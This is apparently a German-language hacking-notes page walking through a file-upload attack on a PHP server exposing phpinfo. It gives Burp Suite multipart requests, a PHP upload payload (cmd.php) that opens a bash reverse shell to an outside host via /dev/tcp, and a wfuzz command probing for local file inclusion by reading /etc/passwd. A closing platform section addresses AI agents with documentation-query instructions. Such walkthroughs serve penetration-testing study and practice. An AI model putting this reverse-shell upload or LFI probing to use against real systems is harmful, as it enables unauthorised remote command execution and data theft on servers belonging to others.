> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# Datei-Upload phpinfo

## Datei-Upload:

Nachdem die Datei "info.php" gefunden wurde, erkunde die Möglichkeit, Dateien auf den Server hochzuladen.

<figure><img src="/files/8ac364213b71ef9e18642db28dca13a3461a5f0d" alt=""><figcaption></figcaption></figure>

**Mit Burp Suite abfangen:** Verwenden Sie Burp Suite, um die Anfrage abzufangen. Ändern Sie die Methode von "GET" zu "POST".

<figure><img src="/files/d8b93410bcd8740ee2a1a0bc748a16b471563fbe" alt=""><figcaption></figcaption></figure>

#### Anfrage, um eine Textdatei auf den Server zu importieren:

Verwenden Sie die untenstehende Struktur von Burp Suite, um eine Anfrage zum Hochladen einer Datei mit dem Namen zu senden `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
This is a Test
----pwned

```

<figure><img src="/files/d27ea08214344ec2283b6a32a4ccbf4d808ada3d" alt=""><figcaption></figcaption></figure>

**PHP-Code-Injektion:** Versuchen Sie, PHP-Code mit derselben Burp-Suite-Struktur einzuschleusen. Ändern Sie den Dateiinhalt, um die Payload einzufügen.

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### Bestätigung der Injektion:

Überprüfen Sie, ob die Injektion erfolgreich war, indem Sie das Vorhandensein der Datei "cmd.php" auf dem Server bestätigen.

<figure><img src="/files/4c2e86ace4a9331aada9fc56e659f58aa4695d71" alt=""><figcaption></figcaption></figure>

#### LFI-Suche

Um eine LFI-Schwachstelle zu finden, verwenden wir das Tool wfuz, um einen möglichen Parameter zu identifizieren, der auf eine PHP-Datei weiterleitet. Der Befehl ist unten:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/7b885df88eedd22b591f96da788b1415d86a8513" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/59b7845c04c05dd35a5942443e476f42bba18b11" alt=""><figcaption></figcaption></figure>

#### Schwierigkeit bei der Änderung der temporären Ordnerkonstante:

Leider gelingt es uns nicht, den Inhalt der Datei cmd.php aufzulisten, wegen der Änderung der temporären Ordnerkonstante:

<figure><img src="/files/ad8580fa8b49c8bc6e4b3308400547d8d474e8f3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
